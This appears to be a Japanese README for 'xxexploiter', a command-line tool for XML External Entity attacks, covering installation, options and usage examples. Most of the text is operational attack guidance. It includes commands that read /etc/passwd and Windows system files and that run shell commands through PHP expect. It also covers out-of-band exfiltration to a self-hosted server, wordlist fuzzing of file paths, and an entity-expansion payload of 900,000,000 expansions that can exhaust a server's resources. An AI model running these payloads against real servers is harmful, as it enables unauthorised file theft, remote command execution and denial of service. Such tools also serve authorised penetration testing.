

XML ペイロードを生成し、必要な DTD を提供したりデータの外部への抽出(データ・エクスフィルトレーション)を行ったりするために、自動的にサーバーを起動します。
# node と npm がまだない場合はインストールしてください
npm install -g xxexploiter
これは TypeScript で書かれたシンプルな Node アプリケーションです。他のアプリと同様にビルドできます: (最初に node と npm をインストールしてください。まだない場合)
npm install
npm run build
# npm build を成功させるには npm install typescript -g が必要な場合があります
アプリケーションを実行するには次の3つの方法があります:
npm start [args]
node dist/index.js [args]
npm link # これで xxexploiter を呼び出せます
またはシステムにインストールすることもできます:
npm link
Usage: xxexploiter [command] [options]
Commands:
xxexploiter file [file_to_read] XXE を使ってリクエストを送信する
xxexploiter request [URL] XXE を使ってリクエストを送信する
xxexploiter expect [command] PHP の expect 経由でコマンドを実行するために XXE を使用する
xxexploiter xee [expantions] エンティティを展開して巨大なコンテンツを生成する
Fuzzing Specific Options
-w, --wordlist ファジングコマンドで使用するワードリストのパス。コマンド引数内の {{FUZZ}} プレースホルダーが魔法のように機能します。
-y, --success-string リクエストの成功応答を探す文字列。ブラインド攻撃では役に立ちません。
-n, --error-string リクエストのエラー応答を探す文字列。ブラインド攻撃では役に立ちません。
Options:
--version バージョン番号を表示 [boolean]
-s, --server OOB および DTD 用のサーバーアドレス
-p, --port OOB および DTD 用のサーバーポート。デフォルト: 7777
-t, --template ペイロードを注入する XML テンプレートへのパス
-m, --mode 抽出モード: xml, oob, cdata。デフォルト: xml
-e, --encode 抽出エンコーディング: none, phpbase64。デフォルト: none
-o, --output XML ペイロードファイルの出力先。デフォルトはコンソール
-x リクエストを使用して XML ファイルを自動送信
-X, --request-output -x オプションからのレスポンスを出力。未定義の場合は stdout に出力
--verbose 何が起こっているかを理解するためのメッセージを有効化
--doctype 注入する doctype の名前を指定。デフォルトは xxexploiter
-h, --help ヘルプを表示 [boolean]
Examples:
xxexploiter expect ls
xxexploiter -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml
xxexploiter -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob
xxexploiter xee 900000000 -o output.xml
xxexploiter file /etc/passwd -x request.txt -t template.xml
xxexploiter file /root/{FUZZ} -w wordlist.txt -n "not found" -x request.txt
Extra Info:
- xml モードまたは cdata モードを使用する場合、エンティティの内容を注入したいフィールドにプレースホルダー '{{XXE}}' を追加します。
- Windows のファイルパスを指定するときはスラッシュ(/)を使用してください。
- OOB: Out Of Bound: このオプションを使用すると、XML パーサーによって処理されたデータをローカルの Web サーバーに送信できます。ブラインド攻撃で便利です。
- XML モードを使用する場合、XML の予約文字が読み込まれると XML 解析が壊れる可能性があるため、代わりに cdata を使用することをお勧めします。
- request オプションを使用する場合、ペイロードを注入する場所に {{XXE}} または {{XXE_B64}} プレースホルダーを指定できます。
- ファジング時にはメインのコマンド引数に {{FUZZ}} キーワードを追加できます。
- ファジング時に成功したリクエストをフィルタリングするために、期待されるエラー文字列または期待される成功文字列を指定できます。
OOB または CDATA モードを選択した場合、XXExploiter は必要な dtd を生成し、それらをホストするサーバーを起動します。これらのオプションを使用する場合は、サーバーアドレスを設定してください。
XML の本文にコンテンツを含める場合、'<' のような XML の制限文字が解析を壊す可能性があるため、CDATA または PHP の base64encode を使用するようにしてください。
ほとんどの言語はエンティティ展開の回数や展開されるコンテンツの全長に制限があるため、同じ条件で自分のマシンで XEE をテストしてからターゲットで試すようにしてください。